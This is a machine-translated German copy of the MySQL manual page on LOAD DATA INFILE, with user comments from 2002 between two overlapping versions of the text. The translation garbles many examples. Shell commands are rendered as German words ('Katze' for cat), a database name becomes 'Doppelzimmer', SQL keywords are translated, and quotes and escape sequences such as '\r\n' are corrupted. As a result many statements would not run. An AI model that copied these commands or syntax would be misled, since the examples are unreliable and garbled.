- Wenn sowohl FIELDS TERMINATED BY als auch FIELDS ENCLOSED BY leer sind (""), wird das Format mit fester Zeichenfolge (keine Trennzeichen) verwendet. Das Festnetzformat bietet keine Trennzeichen zwischen den Feldern. Stattdessen wird beim Lesen und Schreiben von Spaltenwerten die „Ausgabe“-Breite der Spalten verwendet. Wenn eine Spalte beispielsweise als INT(7) deklariert ist, werden die Werte für diese Spalte in Felder mit einer Breite von 7 Zeichen geschrieben. Die Eingabewerte für diese Spalte werden durch Lesen von 7 Zeichen ermittelt. Das Fixed-String-Format wirkt sich auch auf die Behandlung von NULL-Werten aus (siehe unten). Beachten Sie, dass das Format mit fester Größe nicht funktioniert, wenn ein Multibyte-Zeichensatz verwendet wird.
NULL-Werte werden abhängig von den verwendeten FIELDS- und LINES-Optionen unterschiedlich behandelt:
- Für die Standardwerte FIELDS und LINES wird NULL für die Ausgabe als \N geschrieben und \N für die Eingabe als NULL gelesen (vorausgesetzt, das ESCAPED BY-Zeichen ist „\“).
- Wenn FIELDS ENCLOSED BY nicht leer ist, wird ein Feld, dessen Wert ein NULL-Buchstabenwort ist, als NULL-Wert gelesen (im Gegensatz zu dem zwischen den Zeichen FIELDS ENCLOSED BY eingeschlossenen Wort NULL, das als Zeichenfolge „NULL“ gelesen wird).
- Wenn FIELDS ESCAPED BY leer ist, wird NULL als Wort NULL geschrieben.
- Im Format mit fester Zeichenfolge (das auftritt, wenn sowohl die Spezifizierer FIELDS TERMINATED BY als auch FIELDS ENCLOSED BY leer sind) wird NULL als leere Zeichenfolge geschrieben. Beachten Sie, dass dies dazu führt, dass ein NULL-Wert und eine leere Zeichenfolge in einer bestimmten Tabelle beim Schreiben in eine Datei nicht unterscheidbar sind, da beide als leere Zeichenfolgen geschrieben werden. Wenn Sie möchten, dass diese Werte beim Zurücklesen der Datei unterschiedlich sind, sollten Sie nicht das Festnetzformat verwenden.
Einige Fälle werden von der LOAD DATA INFILE-Anweisung nicht unterstützt:
- Zeilen mit fester Größe (FIELDS TERMINATED BY und FIELDS ENCLOSED BY sind beide leer) und BLOB- oder TEXT-Spalten.
- Wenn ein Trennzeichen angegeben wird, das mit einem anderen identisch ist oder ein Präfix eines anderen ist, kann LOAD DATA INFILE die Eingabe nicht korrekt interpretieren. Beispielsweise würde die folgende FIELDS-Anweisung Probleme verursachen: FIELDS TERMINATED BY """ ENCLOSED BY """
- Wenn die Option FIELDS ESCAPED BY leer ist, führt das Auftreten eines FIELDS ENCLOSED BY- oder LINES TERMINATED BY-Zeichens in einem Feldwert, gefolgt von einem FIELDS TERMINATED BY-Zeichen, dazu, dass der Befehl LOAD DATA INFILE das Lesen des Felds oder der Zeile vorzeitig beendet. Dies liegt daran, dass LOAD DATA INFILE nicht korrekt bestimmen kann, wo das Feld oder die Zeile endet.
Das folgende Beispiel lädt alle Spalten der Persondata-Tabelle:
Mysql> LOAD DATA INFILE „persondata.txt“ INTO TABLE persondata;
Es ist keine Liste von Feldern angegeben, daher erwartet der Befehl LOAD DATA INFILE, dass Eingabezeilen jede Spalte der Tabelle füllen. Dabei werden die Standardwerte FIELDS und LINES verwendet.
Wenn Sie nur einige der Tabellenspalten laden möchten, müssen Sie eine Liste von Spalten angeben:
Mysql> LOAD DATA INFILE „persondata.txt“ INTO TABLE persondata (col1,col2,...);
Die Feldliste muss auch dann angegeben werden, wenn die Reihenfolge der Felder in der Eingabedatei von der Reihenfolge der Spalten in dieser Tabelle abweicht. Andernfalls kann MySQL die Eingabefelder und Tabellenspalten nicht abgleichen.
Wenn eine Zeile zu wenige Felder enthält, werden Spalten, die in der Eingabedatei keine Felder enthalten, auf ihre Standardwerte gesetzt. Die Zuweisung von Standardwerten ist im Abschnitt 6.5.3 Syntax der CREATE TABLE-Anweisung beschrieben.
Der Wert eines leeren Feldes wird anders interpretiert als kein Wert:
- Bei String-Typen wird die Spalte auf den leeren String gesetzt.
- Bei numerischen Typen wird die Spalte auf 0 gesetzt.
- Bei Datums- und Uhrzeittypen wird die Spalte auf den entsprechenden Wert dieses Typs, „null“, gesetzt. Siehe Abschnitt 6.2.2 Datentypen für Datum und Uhrzeit.
Beachten Sie, dass es sich hierbei um dieselben Werte handelt, die in einer Spalte enden würden, wenn in einem INSERT- oder UPDATE-Befehl explizit eine leere Zeichenfolge einer Zeichenfolgen-, Zahlen- oder Datums-/Uhrzeitspalte zugewiesen wird.
Spalten vom Typ TIMESTAMP werden nur auf das aktuelle Datum oder die aktuelle Uhrzeit gesetzt, wenn die Spalte auf NULL gesetzt ist oder (nur für die erste TIMESTAMP-Spalte) wenn die TIMESTAMP-Spalte außerhalb der Feldliste liegt, sofern eine solche Liste angegeben ist.
Wenn die Eingabezeichenfolge zu viele Felder enthält, werden die zusätzlichen Felder ignoriert und die Anzahl der Warnungen erhöht.
Der Befehl LOAD DATA INFILE interpretiert alle Eingaben als Zeichenfolgen, sodass Sie für ENUM- oder SET-Spalten nicht auf die gleiche Weise wie bei INSERT-Befehlen numerische Werte angeben können. Alle ENUM- und SET-Werte müssen als Strings angegeben werden!
Wenn Sie die C-API verwenden, können Sie Abfrageinformationen erhalten, indem Sie am Ende der Abfrage die API-Funktion mysql_info() aufrufen: LOAD DATA INFILE . Das Format der Informationszeile für diesen Fall ist unten dargestellt:
Datensätze: 1 Gelöscht: 0 Übersprungen: 0 Warnungen: 0
Warnungen werden unter den gleichen Umständen ausgegeben wie beim Schreiben von Werten mit einem INSERT-Befehl (siehe Abschnitt 6.4.3 INSERT-Anweisungssyntax), mit der Ausnahme, dass der LOAD DATA INFILE-Befehl zusätzlich Warnungen generiert, wenn die Eingabezeichenfolge zu wenige oder zu viele Felder enthält. Warnungen werden nirgendwo gespeichert; Anhand der Anzahl der Warnungen kann lediglich überprüft werden, ob die angegebenen Aktionen ordnungsgemäß abgeschlossen wurden. Wenn Sie genau wissen möchten, was die Warnungen verursacht hat, ist die Ausführung von SELECT ... INTO OUTFILE für eine andere Datei und der Vergleich des Ergebnisses mit der ursprünglichen Eingabedatei die einzige Möglichkeit, diese Informationen zu erhalten.
Wenn Sie LOAD DATA ausführen müssen, um aus einer Pipe zu lesen, können Sie den folgenden Trick verwenden:
Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" INTO TABLE x" x
Bei Verwendung einer MySQL-Version älter als 3.23.25 ist das oben Genannte nur mit LOAD DATA LOCAL INFILE möglich.
Weitere Informationen zur Wirksamkeit von INSERT im Vergleich zu LOAD DATA INFILE und den Geschwindigkeitsgewinnen von LOAD DATA INFILE finden Sie in Abschnitt 5.2.9 Geschwindigkeit von INSERT-Abfragen.
Benutzerkommentare
| Gepostet von Jason Titus | [Löschen] [Bearbeiten] |
„Die Warnungen werden nirgendwo gespeichert; die Anzahl der Warnungen kann nur als Referenz verwendet werden
Hinweis, ob alles gut gelaufen ist“
Das soll doch wohl ein Scherz sein. Ist dies eine Art DBA-Strafe? d.h. - Wir
WISSEN Sie, was die Probleme waren, aber Sie müssen nur eine Ausgabedatei erstellen und durchsehen
Ihre Millionen von Datensätzen, um sie zu finden". Hat MySQL diese nicht früher in das Fehlerprotokoll geschrieben?
Wo gehören sie hin? Machen Sie es zu einer Option, aber das ist schon genug Ärger
Ich wechsle wieder zu Oracle (und das kostet viel Zeit).
| Gepostet von Campbell am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Zweitens. (!) Ich verstehe nicht, wie du
Schreiben Sie diesen Satz mit ernstem Gesicht.
| Gepostet von Jonathon Padfield am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Außerdem gibt es keine Informationen darüber, welche Zeilen übersprungen werden
gegeben ist.
| Gepostet von am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Diese Funktion ist beim Einreichen einer Anfrage sehr nützlich
INSERT von einer Webseite. Wenn der Benutzer zuschlägt
Aktualisieren und erneute Veröffentlichung von Formulardaten, die zu einem Ergebnis führen
anschließendes INSERT derselben Primärschlüsseldaten,
Boom, die App geht kaputt. Auf diese Weise könnte der Benutzer
Drücken Sie F5, bis ihr Gesicht blau wird, und sie
wird die REPLACE-Anweisung nicht unterbrechen.
| [Löschen] [Bearbeiten] |
Ich habe einen MyDB-Ordner in c:\mysql\data
Ich platziere dort Data.txt und führe es aus
LOKALE DATEN-INDATEI „Data.txt“ IN DIE TABELLE LADEN
In MyTable heißt es: Befehl wurde erfolgreich ausgeführt
Es werden jedoch KEINE Werte zu MyTable hinzugefügt.
Ich bin unter W2K
| Gepostet von van hoof philip am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Ich möchte meine Datenbank mit einer anderen synchronisieren
Datenbank von Zeit zu Zeit. Das bedeutet, dass ich
muss das REPLACE-Ding verwenden. Aber was ist mit
Datensätze, die in der neueren Version nicht mehr existieren
Datenbank. Werden sie in MySQL gelöscht?
Gibt es eine Möglichkeit, diese automatisch zu löschen? Oder ist das
Die einzige Lösung besteht darin, meine MySQL-Tabelle zu löschen und neu zu erstellen
bevor ich anfange, es zu laden. Ich verwende Crontab
Skripte für diesen Vorgang, also keine menschliche Interaktion
ist während dieser Operationen möglich.
| Gepostet von am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
In der Dokumentation ist unklar, was
stellt einen „eindeutigen“ Schlüssel/Index in diesem Bereich dar. Es
Rückverweise auf „insert“, insert jedoch nicht
habe eine solche Einschränkung. Ich habe das primär gefunden
Die Schlüssel sind hinreichend eindeutig, aber ich musste hinzufügen
Vorwahlen, wo ich sie nicht haben wollte
etwas vermissen....
| Gepostet von am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Es ist sehr frustrierend, Warnungen zu erhalten, wenn dies der Fall ist
Importieren von Daten in eine MySQL-Datenbank und nicht sein
Sie können auf alle Informationen zu den Warnungen zugreifen.
MySQL muss wirklich eine Funktion hinzufügen, die dies ermöglicht
Geben Sie an, worum es in einer Warnung geht und nicht nur
eine Warnung melden. Idealerweise die Informationen über
Die Warnung sollte unverzüglich erfolgen. Bei
Zumindest sollte es eine Art Fehlerprotokoll geben
erstellt, auf die ein Benutzer zugreifen kann.
| Gepostet von am Freitag, 17. Mai 2002, um 6:24 Uhr | [Löschen] [Bearbeiten] |
Zum Thema „F5, bis ihr Gesicht blau wird“ ...
Dies sollte im Antrag geregelt werden. Es
Es schadet sicherlich nicht, dem Benutzer zu sagen: „Du hast es getan.“
habe dies bereits eingegeben. Bitte hören Sie auf zu aktualisieren.
Eigentlich aufgrund der Anzahl der hyperungeduldigen Enden
Lusoren da draußen, das scheint etwas ganz Besonderes zu sein
gute Idee.
| Gepostet von Larry Irwin am Dienstag, 20. August 2002, um 11:50 Uhr | [Löschen] [Bearbeiten] |
Es wäre sehr hilfreich, eine zusätzliche Option zu haben
auf „EINSCHRÄNKUNGEN IGNORIEREN“ während des Ladens
Verfahren.
| Gepostet von am Donnerstag, 5. September 2002, um 1:34 Uhr | [Löschen] [Bearbeiten] |
Es gibt einen Haken bei „auf einer leeren MyISAM-Tabelle, alle.“
Nicht eindeutige Indizes werden in einem separaten Batch erstellt.
da es sich bei dem verwendeten Mechanismus um eine „Reparatur mit“ handelt
keycache“, was sehr langsam sein kann, wenn Sie viele haben
Indizes. Man muss den Mechanismus wirklich nutzen
Stoppen Sie die Schlüsselerstellung und führen Sie dann die Reparatur durch
myisamchk mithilfe von „Reparatur mit Sortierung“, wie in beschrieben
Abschnitt 5.2.9 (wenn Sie es zum Laufen bringen :-()
| Gepostet von am Mittwoch, 9. Oktober 2002, um 12:43 Uhr | [ |
Syntax LOAD DATA INFILE
DATEN-INDATEI LADEN " Dateiname. txt" IN DIE TABELLE Tabellenname
[UMSCHLOSSEN "]
]
]
[(Spaltenname,...)]
Die LOAD DATA INFILE-Anweisung liest Zeilen aus einer Textdatei und lädt sie mit sehr hoher Geschwindigkeit in eine Tabelle.
Sie können Datendateien auch mit dem MySQL-Importdienstprogramm laden. Dies geschieht durch Senden einer LOAD data INFILE-Anweisung an den Server. Die Option --local veranlasst das Dienstprogramm mysqlimport, die Datendatei vom Client-Host zu lesen. Sie können die Option -compress angeben, um die Leistung in langsamen Netzwerken zu verbessern, wenn Client und Server das komprimierte Protokoll unterstützen.
Wenn das Schlüsselwort LOW_PRIORITY angegeben ist, wird die Ausführung der LOAD DATA-Anweisung verzögert, bis alle anderen Clients den Lesevorgang abgeschlossen haben.
Wenn das Schlüsselwort CONCURRENT mit einer MyISAM-Tabelle angegeben wird, die die Bedingung für gleichzeitiges Einfügen erfüllt (d. h. keine freien Blöcke in der Mitte der Datei aufweist), können andere Threads gleichzeitig mit LOAD Daten aus der Tabelle abrufen DATEN werden durchgeführt. Die Verwendung dieser Option hat eine leichte Auswirkung auf die Leistung von LOAD DATA, selbst wenn kein anderer Thread auf der Tabelle ausgeführt wird.
Wenn das Schlüsselwort LOCAL angegeben ist, wirkt es sich auf die Clientseite der Verbindung aus.
- Wenn LOCAL angegeben ist, wird die Datei vom Client-Programm auf dem Client-Host gelesen und an den Server gesendet.
- Wenn LOCAL nicht angegeben ist, muss sich die zu ladende Datei auf dem Server-Host befinden und wird direkt vom Server gelesen.
LOCAL ist in MySQL 3.22.6 und höher verfügbar.
Aus Sicherheitsgründen müssen beim Lesen von Textdateien, die sich auf dem Server befinden, diese Dateien entweder im Datenverzeichnis liegen oder für jedermann lesbar sein. Um LOAD DATA mit Serverdateien verwenden zu können, müssen Sie außerdem über die FILE-Berechtigung verfügen.
Das Herunterladen mit der LOCAL-Option ist etwas langsamer, als wenn Sie dem Server die Möglichkeit geben, direkt auf die heruntergeladenen Dateien zuzugreifen, da in diesem Fall der Inhalt der Dateien über die Client-Server-Verbindung über das Netzwerk übertragen wird. Andererseits benötigen Sie in diesem Fall keine FILE-Berechtigungen.
Seit MySQL 3.23.49 und MySQL 4.0.2 (4.0.13 unter Windows) funktioniert LOCAL nur, wenn sowohl der Client als auch der Server dies zulassen. Wenn mysqld beispielsweise mit der Option -local-infile=0 gestartet wird, funktioniert LOCAL nicht.
Wenn Sie mithilfe von LOAD DATA aus einer Programmpipe lesen müssen, können Sie die folgende Technik verwenden:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
Katze< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e „LOAD DATA INFILE „x1 INTO TABLE x“ x
Wenn Sie mit einer MySQL-Version vor 3.23.25 arbeiten, kann diese Technik nur mit LOAD DATA LOCAL INFILE verwendet werden.
Wenn Sie eine MySQL-Version vor 3.23.24 haben, können Sie mit der LOAD DATA INFILE-Anweisung nicht aus dem FIFO lesen. Wenn Sie aus einem FIFO lesen müssen (z. B. aus einem Gunzip-Ausgabestream), verwenden Sie stattdessen LOAD DATA LOCAL INFILE.
Bei der Suche nach einer Datei in seinem Dateisystem orientiert sich der Server an folgenden Regeln:
- Wenn ein absoluter Pfad angegeben ist, verwendet der Server diesen unverändert.
- Wenn ein relativer Pfad mit einer oder mehreren führenden Komponenten angegeben ist, sucht der Server nach Dateien relativ zu seinem Datenverzeichnis.
- Wenn ein Dateiname ohne führende Pfadkomponenten angegeben wird, sucht der Server nach der Datei im Standarddatenbankdatenverzeichnis.
Beachten Sie, dass diese Regeln implizieren, dass eine Datei mit dem Namen ./myfile.txt aus dem Datenverzeichnis des Servers gelesen wird, während eine Datei mit dem Namen myfile,txt aus dem Standarddatenverzeichnis der Datenbank gelesen wird. Beispielsweise liest die folgende LOAD DATA INFILE-Anweisung die Datei data.txt aus dem Datenverzeichnis von dbl, da dbl die aktuelle Datenbank ist, obwohl die Anweisung Daten in db2 lädt:
mysql>USE Doppelzimmer;
mysql> DATEN-INFILE „data.txt“ IN TABELLE LADEN db2.my_table;
Die Schlüsselwörter REPLACE und IGNORE steuern die Arbeit mit Eingabezeichenfolgen, die vorhandene eindeutige Schlüssel im Wert duplizieren.
Wenn REPLACE angegeben ist, ersetzen die Eingabezeilen vorhandene Zeilen (mit anderen Worten Zeilen, die dieselben Primär- oder eindeutigen Schlüsselwerte wie vorhandene Zeilen in der Tabelle haben). Siehe REPLACE-Syntax
Wenn IGNORE angegeben ist, werden Eingabezeilen übersprungen, die Duplikate vorhandener Zeilen mit denselben Primär- oder eindeutigen Schlüsselwerten sind. Wenn keine Option angegeben ist, hängt das Verhalten davon ab, ob das lokale Schlüsselwort angegeben ist. Wenn LOCAL nicht vorhanden ist und ein doppelter Schlüssel erkannt wird, wird ein Fehler generiert und der Rest der Textdatei wird ignoriert. Wenn LOCAL vorhanden ist, ist das Standardverhalten dasselbe, als ob IGNORE angegeben worden wäre. Dies liegt daran, dass der Server die Dateiübertragung während des Vorgangs nicht stoppen kann.
Wenn Sie Fremdschlüsseleinschränkungen während eines Datenladevorgangs ignorieren möchten, können Sie die Anweisung SET FOREIGN_KEY_CHECKS=0 ausgeben, bevor Sie LOAD DATA ausführen.
Wenn Sie LOAD DATA für eine leere MyISAM-Tabelle ausführen, werden alle nicht eindeutigen Indizes in einem separaten Job erstellt (wie bei REPAIR TABLE). Dies führt normalerweise dazu, dass LOAD DATA viel schneller ist, wenn viele Indizes vorhanden sind. Normalerweise funktioniert das sehr schnell, aber in einigen Sonderfällen können Sie Indizes noch schneller erstellen, indem Sie sie vor dem Laden über ALTER TABLE...DISABLE KEYS deaktivieren
Datei in die Tabelle, erstellt die Indizes neu und aktiviert sie mit ALTER TABLE.. ENABLE KEYS, nachdem der Ladevorgang abgeschlossen ist.
LOAD DATA INFILE ist eine Ergänzung zu SELECT...INTO OUTFILE. Siehe SELECT-Syntax. Um Daten aus einer Tabelle in eine Datei zu schreiben, verwenden Sie SELECT... INTO OUTFILE. Um Daten aus einer Datei in eine Tabelle zurückzulesen, verwenden Sie LOAD DATA INFILE. Die Syntax der FIELDS- und LINES-Konstrukte ist für beide Anweisungen gleich. Beide Konstrukte sind optional, aber Felder müssen vor LINES stehen, wenn beide angegeben werden.
Wenn das FIELDS-Konstrukt angegeben ist, sind alle seine Parameter (TERMINATED BY, ENCLOSED BY und ESCAPED BY) ebenfalls optional, mit Ausnahme der Anforderung, dass mindestens ein Parameter vorhanden sein muss.
Wenn das FIELDS-Konstrukt nicht angegeben ist, lautet der Standardwert:
FELDER BEENDET DURCH „tf ENCLOSED BY“ ESCAPED BY „
Wenn das LINES-Konstrukt nicht angegeben ist, lautet die Standardeinstellung:
ZEILEN ENDET MIT „n! BEGINNEN MIT „
Mit anderen Worten, das Standardverhalten von LOAD DATA INFILE beim Lesen der Eingabe ist:
- Achten Sie auf Zeilentrennzeichen am Zeilenanfang.
- Lassen Sie keine Zeilenpräfixe weg.
- Teilen Sie eine Zeile anhand von Tabulatorzeichen in Felder auf.
- Erwarten Sie nicht, dass Felder in Anführungszeichen gesetzt werden.
- Interpretieren Sie das Vorkommen eines Tabulatorzeichens, eines Zeilenvorschubs oder eines „\“-Zeichens, dem ein \ vorangestellt ist, als Literalzeichen, die Teil des Feldwerts sind.
Umgekehrt verhält sich SELECT... INTO OUTFILE standardmäßig wie folgt:
- Schreibt Tabulatorzeichen zwischen Feldern.
- Umgibt Feldwerte nicht in Anführungszeichen.
- Verwendet *", um Tabulatoren, Zeilenumbrüche oder "\ hervorzuheben, die innerhalb von Feldwerten vorkommen.
- Schreibt ein Newline-Zeichen am Ende von Zeilen.
Auf eine Anmerkung!
Wenn Sie eine Textdatei auf einem Windows-System erstellt haben, müssen Sie möglicherweise LINES TERMINATED BY „rn“ angeben, um die Datei korrekt zu lesen, da Windows-Programme diese beiden Zeichen normalerweise als Zeilentrennzeichen verwenden. Einige Programme, wie WordPad, verwenden möglicherweise das Zeichen „ r“ als Zeilentrennzeichen. Um solche Dateien zu lesen, verwenden Sie LINES TERMINATED BY „r“.
Wenn alle Zeilen der Datei, die Sie lesen, ein gemeinsames Präfix haben, das Sie ignorieren möchten, verwenden Sie LINES STARTING BY „ string_prefixes um dieses Präfix zu überspringen. Enthält eine Zeile kein Präfix, wird sie komplett übersprungen.
Option IGNORIEREN Menge LINES wird verwendet, um eine bestimmte Anzahl von Zeilen am Anfang der Datei zu ignorieren. Sie können beispielsweise IGNORE I LINES verwenden, um die erste Zeile mit den Spaltennamen zu überspringen:
mysql> LOAD DATA INFILE „/tmp/test.txt“ -> INTO TABLE test IGNORE 1 LINES;
Wenn Sie SELECT... INTO OUTFILE in Verbindung mit LOAD DATA INFILE verwenden, um Daten aus der Datenbank in eine Datei zu schreiben, sie dann zu lesen und wieder in die Datenbank zu laden, müssen die Zeilen- und Feldverwaltungsoptionen für beide Anweisungen gleich sein. Andernfalls kann LOAD DATA INFILE den Inhalt der Textdatei nicht richtig interpretieren. Nehmen wir an, dass Sie SELECT...INTO OUTFILE verwendet haben, um die Daten in eine Textdatei auszugeben, wobei Sie die Felder durch Kommas getrennt haben:
mysql> WÄHLEN* INTO OUTFILE „data.txt“ -> FIELDS TERMINATED BY“, -> FROM table2;
Um eine durch Kommas getrennte Datei zurückzulesen, gehen Sie wie folgt vor:
mysql> LOAD DATA INFILE „data.txt1 INTO TABLE table2 -> FIELDS TERMINATED BY
Wenn Sie stattdessen versuchen, es mit der folgenden Anweisung zu lesen, funktioniert es nicht, da LOAD DATA INFILE nach Tabulatorzeichen zwischen Feldwerten sucht:
mysql> LADEN SIE DIE DATEN-INDATEI „data.txt“ IN DIE TABELLE Tabelle2 ->
Mit „t“ abgeschlossene Felder;
Das wahrscheinlichste Ergebnis wird darin bestehen, die Eingabezeichenfolge als ein einzelnes Feld zu interpretieren.
LOAD DATA INFILE kann auch zum Lesen von Dateien aus externen Quellen verwendet werden. Beispielsweise kann eine Datei Felder enthalten, die durch Kommas getrennt und in doppelte Anführungszeichen gesetzt sind. Wenn die Zeilen in einer Datei durch ein Zeilenumbruchzeichen getrennt sind, zeigt das folgende Beispiel, welche Zeilen- und Spaltentrennzeichenoptionen festgelegt werden müssen, um die Datei zu laden:
mysql> LADEN SIE DIE DATEIENDATEI „data.txt“ IN DIE TABELLETabellenname-> FELDER, DIE DURCH 1,1 BEENDET WERDEN, EINGESCHLOSSEN DURCH „“ -> ZEILEN, DIE DURCH BEENDET WERDEN"N";
Alle Optionen, die Zeilen- und Spaltentrennzeichen angeben, können leere Zeichenfolgen (") als Argumente verwenden. Wenn die Argumente keine leeren Zeichenfolgen sind, MÜSSEN die Werte für FIELDS ENCLOSED BY und FIELDS ESCAPED BY identisch sein. Argumente für FIELDS TERMINATED OPTIONS BY , LINES STARTING BY und LINES TERMINATED BY können mehr als ein Zeichen lang sein. Um beispielsweise Zeilen zu schreiben, die durch Wagenrückläufe/Zeilenvorschübe getrennt sind, oder um Dateien zu lesen, die solche Zeilen enthalten, verwenden Sie das Konstrukt LINES TERMINATED BY „rn“.
Um eine durch Zeilen mit %%-Zeichen getrennte Datei zu lesen, können Sie Folgendes tun:
mysql> TISCHWITZE ERSTELLEN
-> (ein INT NOT NULL AUTO_INCREMENT PRIMARY KEY, -> Witz TEXT NOT NULL);
mysql> LOAD DATA INFILE „/tmp/jokes,txf INTO TABLE jokes -> FELDER TERMINATED BY „“ -> LINES TERMINATED BY „\n%%\n“ (Witz);
FIELDS ENCLOSED BY steuert Feldtrennzeichen (Anführungszeichen). Wenn Sie in der Ausgabe (SELECT... INTO OUTFILE) das Wort OPTIONALLY weglassen, werden alle Felder von dem in ENCLOSED BY angegebenen Zeichen umgeben. Ein Beispiel für eine solche Ausgabe (unter Verwendung eines Kommas als Feldtrennzeichen) ist unten dargestellt:
„1“, „eine Zeichenfolge“, „100,20“
„2“, „eine Zeichenfolge mit einem Komma“, „102,20“
„3“, „eine Zeichenfolge, die ein Anführungszeichen enthält“, „102,20“
„4“, „eine Zeichenfolge, die ein \“, Anführungszeichen und Komma enthält“, „102,20“
Wenn Sie OPTIONALLY angeben, wird das ENCLOSED BY-Symbol nur verwendet, um CHAR- und VARCHAR-Felder in Anführungszeichen zu setzen:
1, „eine Zeichenfolge“, 100,20
3, „eine Zeichenfolge, die ein Anführungszeichen enthält“, 102.20
4,"eine Zeichenfolge, die ein \", Anführungszeichen und Komma enthält",102.20
Beachten Sie, dass Vorkommen des in ENCLOSED BY angegebenen Zeichens innerhalb des Feldwerts das in ESCAPED BY angegebene Zeichen vorangestellt wird. Wenn Sie außerdem einen leeren Wert für ESCAPED BY angeben, ist es möglich, dass eine Datei generiert wird, die LOAD DATA INFILE nicht korrekt laden kann.
Wenn beispielsweise das Abbruchzeichen leer bleibt, sieht die obige Ausgabe wie folgt aus. Es ist leicht zu erkennen, dass das zweite Feld in der vierten Zeile ein Komma nach einem Anführungszeichen enthält, das (fälschlicherweise) als Feldtrenner angezeigt wird.
1, „eine Zeichenfolge“, 100,20
2, „eine Zeichenfolge, die ein Komma enthält“, 102.20
3, „eine Zeichenfolge, die ein Anführungszeichen enthält“, 102.20
4, „eine Zeichenfolge mit einem „, einem Anführungszeichen und einem Komma“, 102.20
Während der Eingabe wird das ENCLOSED BY-Symbol, sofern vorhanden, vom Ende der Feldwerte entfernt. (Dies gilt unabhängig davon, ob das Wort OPTIONALLY angegeben ist oder nicht. Dieses Wort hat bei der Interpretation der Eingabe keine Auswirkung.) Das Auftreten von ENCLOSED BY-Zeichen, denen ein ESCAPED BY-Zeichen vorangestellt ist, wird als Teil des aktuellen Feldwerts interpretiert.
Wenn ein Feld mit einem ENCLOSED BY-Zeichen beginnt, werden Instanzen dieses Zeichens nur dann als Abschluss des Feldwerts interpretiert, wenn ihnen ein TERMINATED BY-Feld oder eine TERMINATED BY-Sequenz folgt. Um Mehrdeutigkeiten zu vermeiden, wenn das ENCLOSED BY-Zeichen in einem Feldwert erscheint, kann das Zeichen dupliziert werden und wird als einzelne Instanz des Zeichens interpretiert. Wenn beispielsweise ENCLOSED BY „“ angegeben ist, werden Anführungszeichen wie folgt verarbeitet:
„Der „GROSSE“ Chef“ -> Der „GROSSE“ Chef Der „GROSSE“ Chef -> Der „GROSSE“ Chef Der „GROSSE“ Chef -> Der „GROSSE“ Chef
FIELDS ESCAPED BY steuert das Lesen oder Schreiben von Sonderzeichen. Wenn das Argument FIELDS ESCAPED BY nicht leer ist, wird es als Präfix für die folgenden Zeichen in der Ausgabe verwendet:
- FIELDS ESCAPED BY-Symbol.
- Vom Symbol umschlossene Felder.
- Das erste ZEICHEN der Sequenzen FIELDS TERMINATED BY und LINES TERMINATED BY.
- ASCII 0 (wird nach dem Abbruchzeichen als ASCII „0“ und nicht als Nullbyte geschrieben).
Wenn das FIELDS ESCAPED BY-Zeichen leer ist, werden keinem Zeichen Escape-Zeichen vorangestellt und NULL wird als NULL und nicht als \N ausgegeben. Es ist wahrscheinlich keine gute Idee, das Argument FIELDS ESCAPED BY leer zu lassen, insbesondere wenn Ihre Datenfeldwerte eines der genannten Zeichen enthalten.
Wenn FIELDS ESCAPED BY bei der Eingabe nicht leer ist, wird dieses Zeichen, wenn es in der Wertezeile erscheint, entfernt und das folgende Zeichen wird wörtlich als Teil des Feldwerts gelesen. Ausnahmen bilden die Sequenzen „0“ oder „N“ (SYS-PAGE-CONTENT oder \N, wenn das Escape-Zeichen „\“ ist). Diese Sequenzen werden als ASCII NUL (Nullbyte) bzw. NULL interpretiert. Regeln für den Umgang mit NULL werden später in diesem Abschnitt beschrieben.
Weitere Informationen zur Stornierungssyntax „\“ finden Sie im Abschnitt Literalwerte
In einigen Fällen interagieren Optionen, die Felder und Zeilen steuern, miteinander:
- Wenn für LINES TERMINATED BY eine leere Zeichenfolge angegeben ist und FIELDS TERMINATED BY nicht leer ist, ist LINES TERMINATED BY auch das Zeilentrennzeichen.
- WENN BEIDE FELDER TERMINATED BY UND ENCLOSED BY leer sind, wird das feste Zeichenfolgenformat (keine Trennzeichen) VERWENDET. Dieses Format verwendet keine Trennzeichen zwischen den Feldern (kann aber ein Zeilentrennzeichen haben). Stattdessen werden Spaltenwerte mithilfe der Spaltenanzeigebreite geschrieben und gelesen. Wenn eine Spalte beispielsweise als INT(7) deklariert ist, werden die Spaltenwerte in ein siebenstelliges Feld geschrieben. Bei der Eingabe werden Spaltenwerte durch Lesen von sieben Zeichen abgerufen.
LINES TERMINATED BY wird weiterhin zum Trennen von Zeilen verwendet. Wenn eine Zeile nicht alle Felder enthält, werden den übrigen Spalten ihre Standardwerte zugewiesen. Wenn Sie kein Zeilenendezeichen haben, muss dessen Wert auf 1" gesetzt werden. In diesem Fall muss die Textdatei alle Felder in jeder Zeile enthalten. Das Format mit fester Zeilenlänge befasst sich auch mit der Behandlung von NULL-Werten, wie beschrieben Nachfolgend ist zu beachten, dass die Formatlänge mit fester Länge nicht funktioniert, wenn ein Multibyte-Zeichensatz verwendet wird (z. B. Unicode).
Die Behandlung von NULL-Werten variiert je nach den verwendeten FIELDS- und LINES-Optionen:
- Mit den Standardwerten FIELDS und LINES wird NULL als Feldwert als \N für die Ausgabe geschrieben und derselbe \N-Wert wird als NULL für die Eingabe gelesen (vorausgesetzt, das Zeichen ESCAPED BY ist auf „\“ gesetzt).
- Wenn FIELDS ENCLOSED BY nicht leer ist, wird ein Feld, das das Literalwort NULL enthält, als NULL gelesen. Dies unterscheidet sich von dem Fall, wenn das Wort NULL durch FIELDS ENCLOSED BY-Zeichen begrenzt wird und der Wert als Zeichenfolge „NULL“ gelesen wird.
- Wenn FIELDS ESCAPED BY leer ist, wird NULL als Wort NULL geschrieben.
